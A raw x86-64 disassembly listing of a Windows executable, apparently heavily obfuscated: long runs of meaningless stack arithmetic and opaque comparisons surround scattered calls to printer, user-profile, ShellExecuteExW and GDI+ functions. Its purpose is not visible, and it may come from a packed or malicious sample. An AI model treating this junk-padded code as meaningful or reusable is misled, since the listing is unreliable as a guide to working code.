mov byte [rcx], al
mov rax, qword [0x140205220]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140205220]
mov byte [rcx], al
movsx eax, byte [rsp + 0x159]
mov rcx, qword [rsp + 0x5948]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5920]
mov byte [rcx], al
mov rax, qword [rsp + 0x57f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5820]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x58b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x56f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5968]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xca0], ax
mov eax, dword [rsp + 0x3004]
add eax, 0xbf
mov dword [rsp + 0x3004], eax
mov rax, qword [rsp + 0x5710]
mov rcx, qword [rsp + 0x5750]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2f68], eax
mov eax, dword [rsp + 0x2ee4]
mov ecx, dword [rsp + 0x2f60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d9c], eax
mov rax, qword [rsp + 0x56c0]
mov rcx, qword [rsp + 0x56b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x59a8], rax
mov rax, qword [rsp + 0x56f0]
mov rcx, qword [0x140204010]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x58d0]
mov qword [rcx], rax
jmp 0x14005e097
cmp dword [rsp + 0x2f70], 0x4907
je 0x14005e6fb
mov rax, qword [rsp + 0x5988]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9c8]
sar eax, cl
mov rcx, qword [rsp + 0x5988]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe8]
movzx ecx, byte [rsp + 0x157]
or eax, ecx
mov byte [0x140204008], al
mov rax, qword [rsp + 0x58b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x59d0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x58b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe8]
sub eax, ecx
mov rcx, qword [rsp + 0x59a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5968]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x56f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc98], ax
mov rax, qword [rsp + 0x5828]
mov rcx, qword [rsp + 0x5980]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x59a8], rax
mov eax, dword [rsp + 0x2f70]
add eax, 0x48
mov dword [rsp + 0x2f70], eax
mov rax, qword [rsp + 0x58d0]
mov rcx, qword [rsp + 0x5800]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5900]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5950]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2edc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5778]
mov rcx, qword [rsp + 0x5928]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2ee4], eax
mov rax, qword [rsp + 0x57f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15b]
add eax, ecx
mov byte [rsp + 0xe8], al
mov rax, qword [rsp + 0x57f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15c]
sub eax, ecx
mov rcx, qword [0x140205220]
mov byte [rcx], al
mov rax, qword [rsp + 0x5728]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x57d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc9c], ax
movsx eax, word [rsp + 0xca4]
mov rcx, qword [rsp + 0x58b0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x59d0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x15d]
mov rcx, qword [rsp + 0x5920]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5948]
mov byte [rcx], al
mov rax, qword [rsp + 0x5980]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x56b8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5828]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5818]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5928]
mov qword [rsp + 0x5a00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5a00]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2ee4], eax
mov rax, qword [rsp + 0x5800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x56f0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x58d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x56e8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2fd4]
shl eax, cl
mov rcx, qword [rsp + 0x5750]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xe8]
movzx ecx, byte [rsp + 0x15e]
and eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x56f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5728]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc9c], ax
mov rax, qword [rsp + 0x5788]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5908]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140205220]
mov byte [rcx], al
movsx eax, word [rsp + 0x9c8]
mov rcx, qword [rsp + 0x5820]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x59d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x57f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
sub eax, ecx
mov byte [rsp + 0xe8], al
mov rax, qword [rsp + 0x5710]
mov rcx, qword [rsp + 0x5950]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x57c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5900]
mov rcx, qword [rsp + 0x56f0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x59d8], rax
mov rax, qword [rsp + 0x5828]
mov rcx, qword [rsp + 0x56b8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5828]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5778]
mov rcx, qword [rsp + 0x5928]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2f3c], eax
movsx eax, word [rsp + 0xca4]
movsx ecx, word [rsp + 0x9c8]
shl eax, cl
mov rcx, qword [rsp + 0x5820]
mov word [rcx], ax
movsx eax, byte [rsp + 0x159]
movsx ecx, byte [rsp + 0x158]
xor eax, ecx
mov byte [rsp + 0x15f], al
mov rax, qword [rsp + 0x56e8]
mov ecx, dword [rsp + 0x2f68]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x140205218]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5918]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5948]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x158], al
movzx eax, word [rsp + 0xca0]
movzx ecx, word [rsp + 0xca8]
and eax, ecx
mov word [rsp + 0xc9c], ax
mov rax, qword [rsp + 0x5828]
mov rcx, qword [rsp + 0x59a8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5990], rax
mov rax, qword [rsp + 0x5750]
mov rcx, qword [rsp + 0x5710]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5750]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x56f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x59d8], rax
mov eax, dword [rsp + 0x2ee4]
mov ecx, dword [rsp + 0x3038]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f60], eax
mov rax, qword [rsp + 0x5788]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
and eax, ecx
mov rcx, qword [rsp + 0x5788]
mov byte [rcx], al
mov rax, qword [rsp + 0x57f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x59a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x15c], al
movzx eax, byte [rsp + 0x15c]
mov rcx, qword [rsp + 0x57f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140205220]
mov byte [rcx], al
jmp 0x14005e214
movsx eax, byte [rsp + 0x159]
mov rcx, qword [rsp + 0x5948]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5918]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x158]
sub ecx, edx
cmp eax, ecx
je 0x14005e7c0
lea r8, [rsp + 0x5920]
mov rdx, qword [rsp + 0x5a08]
mov rcx, qword [rsp + 0x5770]
call qword [sym.imp.USERENV.dll_GetUserProfileDirectoryW]
mov dword [rsp + 0x2f6c], eax
mov rax, qword [rsp + 0x56f8]
movzx eax, word [rax]
mov dword [rsp + 0x3058], eax
cmp dword [rsp + 0x3058], 0xe
je 0x14005e770
jmp 0x14005e79a
mov rax, qword [rsp + 0x5818]
mov ecx, dword [rsp + 0x2f60]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2ee4], eax
mov rax, qword [rsp + 0x5778]
mov ecx, dword [rax]
call fcn.1401b7810
nop
mov rax, qword [rsp + 0x5828]
mov rcx, qword [rsp + 0x56c0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5980]
mov qword [rcx], rax
jmp 0x1401b6808
mov eax, dword [rsp + 0x2f94]
mov rcx, qword [rsp + 0x57c8]
mov qword [rsp + 0x5a10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5a10]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x56e8]
mov ecx, dword [rcx]
mov rdx, qword [0x140205218]
mov edx, dword [rdx]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x1401b6808
lea rax, [rsp + 0x159]
mov qword [rsp + 0x5a18], rax
mov rax, qword [rsp + 0x59a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5908]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x57f8]
mov byte [rcx], al
movsx eax, word [rsp + 0xcac]
mov rcx, qword [rsp + 0x5988]
movsx ecx, word [rcx]
add eax, ecx
movsx ecx, word [0x140205228]
mov rdx, qword [rsp + 0x58b0]
movsx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jg 0x1401b6796
movsx eax, word [rsp + 0xca4]
movsx ecx, word [0x140205228]
sar eax, cl
mov rcx, qword [rsp + 0x5820]
mov word [rcx], ax
mov eax, dword [rsp + 0x2d9c]
mov ecx, dword [rsp + 0x2f60]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5818]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5800]
mov rcx, qword [rsp + 0x5790]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5900]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5950]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140205210]
shl eax, cl
mov rcx, qword [rsp + 0x57c8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2f9c]
add eax, 0x6d
mov dword [rsp + 0x2f9c], eax
mov rax, qword [rsp + 0x5828]
mov rcx, qword [rsp + 0x56c0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5980]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x15d]
mov rcx, qword [rsp + 0x5a18]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0x56f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x57d0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140204018], ax
mov rax, qword [0x140205220]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15e]
add eax, ecx
mov rcx, qword [rsp + 0x5788]
mov byte [rcx], al
movzx eax, byte [rsp + 0xe8]
movzx ecx, byte [rsp + 0x15e]
add eax, ecx
mov byte [rsp + 0x157], al
movzx eax, word [rsp + 0xc98]
mov rcx, qword [rsp + 0x56f8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5728]
mov word [rcx], ax
mov rax, qword [rsp + 0x5828]
mov rcx, qword [rsp + 0x59a8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5828]
mov qword [rcx], rax
cmp dword [rsp + 0x2f9c], 0x649f
jbe 0x14005e868
mov rax, qword [rsp + 0x57f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5908]
movzx ecx, byte [rcx]
and eax, ecx
movzx ecx, byte [rsp + 0x157]
movzx edx, byte [rsp + 0x15e]
add ecx, edx
cmp eax, ecx
je 0x14005ea16
mov ecx, dword [rsp + 0x2f60]
call fcn.1401b7810
nop
jmp 0x14005eaa5
mov rax, qword [rsp + 0x5790]
mov rcx, qword [rsp + 0x5900]
mov qword [rsp + 0x5a20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5a20]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x56f0]
mov rdx, qword [rsp + 0x59d8]
shr rdx, cl
mov rcx, rdx
cmp rax, rcx
jae 0x14005eaa5
lea r9, [rsp + 0x2f28]
mov r8d, 0xb6
lea rdx, [rsp + 0x15c]
mov rcx, qword [rsp + 0x58d8]
call sub.WINSPOOL.DRV_ReadPrinter
mov dword [rsp + 0x2f48], eax
mov rax, qword [rsp + 0x5800]
mov rcx, qword [rsp + 0x5790]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x58d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5818]
mov rcx, qword [rsp + 0x5778]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3038], eax
mov rax, qword [rsp + 0x5950]
mov rcx, qword [rsp + 0x5710]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x57c8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x159]
mov rcx, qword [rsp + 0x5948]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x15f], al
movzx eax, byte [rsp + 0x15e]
movzx ecx, byte [rsp + 0x157]
add eax, ecx
mov byte [0x140204008], al
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [rsp + 0x15e]
sub eax, ecx
mov rcx, qword [rsp + 0x5788]
mov byte [rcx], al
movzx eax, word [0x140204018]
mov rcx, qword [rsp + 0x5968]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x57d0]
mov word [rcx], ax
movsx eax, word [rsp + 0xcac]
movsx ecx, word [rsp + 0xa70]
sub eax, ecx
mov word [rsp + 0x9c8], ax
mov rax, qword [rsp + 0x5928]
mov rcx, qword [rsp + 0x5778]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2f60], eax
mov rax, qword [rsp + 0x5710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2edc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5980]
mov rcx, qword [rsp + 0x5828]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5990], rax
mov rax, qword [rsp + 0x58d0]
mov rcx, qword [rsp + 0x5900]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5790], rax
mov rax, qword [rsp + 0x59d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x57f0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xa70], ax
mov eax, dword [rsp + 0x2fc0]
movzx ecx, al
mov eax, dword [0x140205210]
shl eax, cl
mov rcx, qword [0x140205218]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xe8]
mov rcx, qword [rsp + 0x5908]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x59a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x58b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x59d0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x9c8], ax
mov rax, qword [rsp + 0x5948]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5920]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5a18]
mov byte [rcx], al
mov rax, qword [rsp + 0x5818]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2f60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d9c], eax
mov rax, qword [rsp + 0x5980]
mov rcx, qword [rsp + 0x56b8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5828]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2fe4]
add eax, 0x6e
mov dword [rsp + 0x2fe4], eax
mov rax, qword [rsp + 0x56f0]
mov rcx, qword [rsp + 0x59d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x58d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5950]
mov rcx, qword [rsp + 0x5710]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3054], eax
mov rax, qword [rsp + 0x5788]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe8]
add eax, ecx
mov byte [rsp + 0x15c], al
mov rax, qword [rsp + 0x5728]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5968]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140204018], ax
mov rax, qword [rsp + 0x5820]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9c8]
sub eax, ecx
mov word [rsp + 0xca4], ax
cmp dword [rsp + 0x2fe4], 0x232d
jbe 0x14005eaa5
mov rax, qword [rsp + 0x5778]
mov ecx, dword [rsp + 0x3038]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5928]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x2f60]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jle 0x14005ee88
mov rax, qword [rsp + 0x5818]
mov eax, dword [rax]
mov dword [rsp + 0x305c], eax
cmp dword [rsp + 0x305c], 0x23fc5206
je 0x14005ee64
cmp dword [rsp + 0x305c], 0x44488822
je 0x14005edde
jmp 0x14005ee83
movzx eax, byte [0x140204008]
mov rcx, qword [rsp + 0x5908]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x57d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5968]
movzx ecx, word [rcx]
shl eax, cl
movzx ecx, word [rsp + 0xca0]
movzx edx, word [rsp + 0xc98]
and ecx, edx
cmp eax, ecx
jne 0x14005ee62
mov rax, qword [rsp + 0x59d8]
mov rcx, qword [rsp + 0x56f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5790], rax
mov rcx, qword [rsp + 0x5770]
call sub.WINSPOOL.DRV_FindClosePrinterChangeNotification
mov dword [rsp + 0x3060], eax
call fcn.1401b75d0
nop
jmp 0x14005ee83
mov rax, qword [rsp + 0x5950]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3054]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5710]
mov dword [rcx], eax
jmp 0x1401b6774
mov eax, dword [rsp + 0x2fd4]
mov ecx, dword [rsp + 0x2fa8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5750]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x2fc0]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
ja 0x1401b6774
mov rax, qword [rsp + 0x5928]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ee4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d9c], eax
mov rax, qword [rsp + 0x5828]
mov rax, qword [rax]
mov qword [rsp + 0x5a28], rax
movzx eax, byte [rsp + 0x15e]
movzx ecx, byte [rsp + 0x15c]
sub eax, ecx
movzx ecx, byte [rsp + 0x15b]
movzx edx, byte [rsp + 0xe8]
add ecx, edx
cmp eax, ecx
jle 0x14005efbc
lea r9, [rsp + 0x2fe8]
lea r8, [rsp + 0x21de0]
lea rdx, [rsp + 0x5a30]
mov rcx, qword [rsp + 0x5700]
call sub.WINSPOOL.DRV_FindNextPrinterChangeNotification
mov dword [rsp + 0x2f6c], eax
mov rax, qword [rsp + 0x57d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc9c]
sub eax, ecx
mov word [rsp + 0xca0], ax
mov rax, qword [0x140205220]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5908]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140205220]
mov byte [rcx], al
lea r9, [rsp + 0x57d0]
mov r8d, PathMakeUniqueName
lea rdx, [rsp + 0x21fd0]
mov rcx, qword [rsp + 0x5738]
call sub.WINSPOOL.DRV_ReadPrinter
mov dword [rsp + 0x3064], eax
mov rax, qword [rsp + 0x57c8]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x2fd4]
call fcn.1401b86e0
nop
movzx eax, word [0x140204018]
mov dword [rsp + 0x3068], eax
cmp dword [rsp + 0x3068], 0xa2a
je 0x14005efd9
jmp 0x14005effd
mov rax, qword [rsp + 0x5a18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x159]
sar eax, cl
mov rcx, qword [rsp + 0x5920]
mov byte [rcx], al
jmp 0x1401b6727
mov rax, qword [rsp + 0x57c8]
mov rcx, qword [rsp + 0x5750]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3054], eax
mov rax, qword [rsp + 0x5948]
movzx eax, byte [rax]
mov byte [rsp + 0x306c], al
cmp byte [rsp + 0x306c], 0
je 0x14005f0cd
cmp byte [rsp + 0x306c], 0x2b
je 0x14005f049
jmp 0x14005f14b
mov rax, qword [rsp + 0x5950]
mov eax, dword [rax]
mov dword [rsp + 0x3070], eax
cmp dword [rsp + 0x3070], 0xffba1d07
je 0x14005f069
jmp 0x14005f0a1
mov rax, qword [rsp + 0x5778]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5928]
mov qword [rsp + 0x5a38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5a38]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2f60], eax
call fcn.1401b8470
nop
jmp 0x14005f0cb
lea rax, [rsp + 0x59d8]
mov qword [rsp + 0x5a48], rax
lea rax, [rsp + 0x56b8]
mov qword [rsp + 0x5a50], rax
mov rax, qword [rsp + 0x5728]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xca0]
and eax, ecx
mov word [rsp + 0xca8], ax
mov rax, qword [rsp + 0x5820]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x57f0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14020401c], ax
mov rax, qword [rsp + 0x5a18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5920]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5948]
mov byte [rcx], al
mov rax, qword [rsp + 0x59a8]
mov qword [rsp + 0x5a58], rax
cmp qword [rsp + 0x5a58], 0
je 0x14005f16b
jmp 0x1401b6605
mov rax, qword [rsp + 0x5a50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5828]
mov qword [rsp + 0x5a60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5a60]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x5990]
mov rdx, qword [rsp + 0x56b8]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
jne 0x14005f247
lea rax, [rsp + 0x5a28]
mov qword [rsp + 0x5a68], rax
mov rax, qword [rsp + 0x5750]
mov rcx, qword [rsp + 0x5710]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3054], eax
lea rax, [rsp + 0x157]
mov qword [0x140205230], rax
mov rax, qword [rsp + 0x5820]
movzx eax, word [rax]
mov word [rsp + 0xcb0], ax
mov rax, qword [rsp + 0x5948]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5918]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5a18]
mov byte [rcx], al
movsx eax, word [rsp + 0xca4]
mov rcx, qword [rsp + 0x59d0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x58b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x57c8]
mov eax, dword [rax]
mov dword [rsp + 0x3074], eax
cmp dword [rsp + 0x3074], 0x1b3b7c5d
je 0x14005f26a
movzx eax, byte [rsp + 0x15c]
mov rcx, qword [rsp + 0x5908]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x15e], al
mov rax, qword [rsp + 0x5710]
mov rcx, qword [rsp + 0x57c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x140205218]
mov rdx, qword [rsp + 0x5950]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jae 0x1401b6672
mov rax, qword [rsp + 0x5988]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa70]
add eax, ecx
mov rcx, qword [rsp + 0x5988]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15e]
movzx ecx, byte [rsp + 0x157]
or eax, ecx
mov byte [rsp + 0xe8], al
mov rcx, qword [rsp + 0x58d8]
call sub.WINSPOOL.DRV_AbortPrinter
mov dword [rsp + 0x2fc4], eax
movsx eax, byte [rsp + 0x159]
mov rcx, qword [rsp + 0x5948]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x15d], al
call fcn.1401b8470
nop
mov rcx, qword [rsp + 0x5700]
call sub.WINSPOOL.DRV_FindClosePrinterChangeNotification
mov dword [rsp + 0x2f28], eax
mov rax, qword [rsp + 0x57f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe8]
sub eax, ecx
mov rcx, qword [0x140205220]
mov byte [rcx], al
mov rax, qword [rsp + 0x5728]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5968]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xca8], ax
movzx eax, word [rsp + 0xca8]
mov rcx, qword [rsp + 0x57d0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5968]
mov word [rcx], ax
mov rax, qword [rsp + 0x5920]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5918]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x15d], al
movzx eax, byte [rsp + 0x159]
mov byte [rsp + 0x4f5c], al
cmp byte [rsp + 0x4f5c], 0x4e
je 0x1401b684c
cmp byte [rsp + 0x4f5c], 0x70
je 0x1401b68a7
jmp 0x1401b68c7
movzx eax, word [rsp + 0xca0]
mov rcx, qword [rsp + 0x5968]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5728]
mov word [rcx], ax
lea rdx, [rsp + 0x56b8]
mov rcx, qword [rsp + 0x57d8]
call qword [sym.imp.USERENV.dll_GetProfilesDirectoryW]
mov dword [rsp + 0x2f6c], eax
mov eax, dword [rsp + 0x2fd4]
mov ecx, dword [rsp + 0x2f68]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
jmp 0x1401b68c7
mov rax, qword [rsp + 0x58d0]
mov rax, qword [rax]
mov rcx, qword [0x140204010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x56f0], rax
jmp 0x1401b6a13
movsx eax, word [rsp + 0xca4]
mov rcx, qword [rsp + 0x57f0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x58b0]
movsx ecx, word [rcx]
mov dword [rsp + 0x4f60], ecx
movsx edx, word [rsp + 0x9c8]
movzx ecx, dl
mov edx, dword [rsp + 0x4f60]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x1401b6a13
mov eax, dword [rsp + 0x2ee4]
mov ecx, dword [rsp + 0x2d9c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5928]
mov dword [rcx], eax
mov rax, qword [rsp + 0x56b8]
mov rcx, qword [rsp + 0x59a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5828]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x5990]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x1401b6963
jmp 0x1401b69bc
lea rcx, [rsp + 0x22040]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [rsp + 0x2f28], eax
mov rax, qword [rsp + 0x56f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xca8]
sub eax, ecx
mov rcx, qword [rsp + 0x57d0]
mov word [rcx], ax
lea r8, [rsp + 0x21db0]
lea rdx, [rsp + 0x21de0]
lea rcx, [rsp + 0x220b0]
call sub.gdiplus.dll_GdiplusStartup
mov dword [rsp + 0x3054], eax
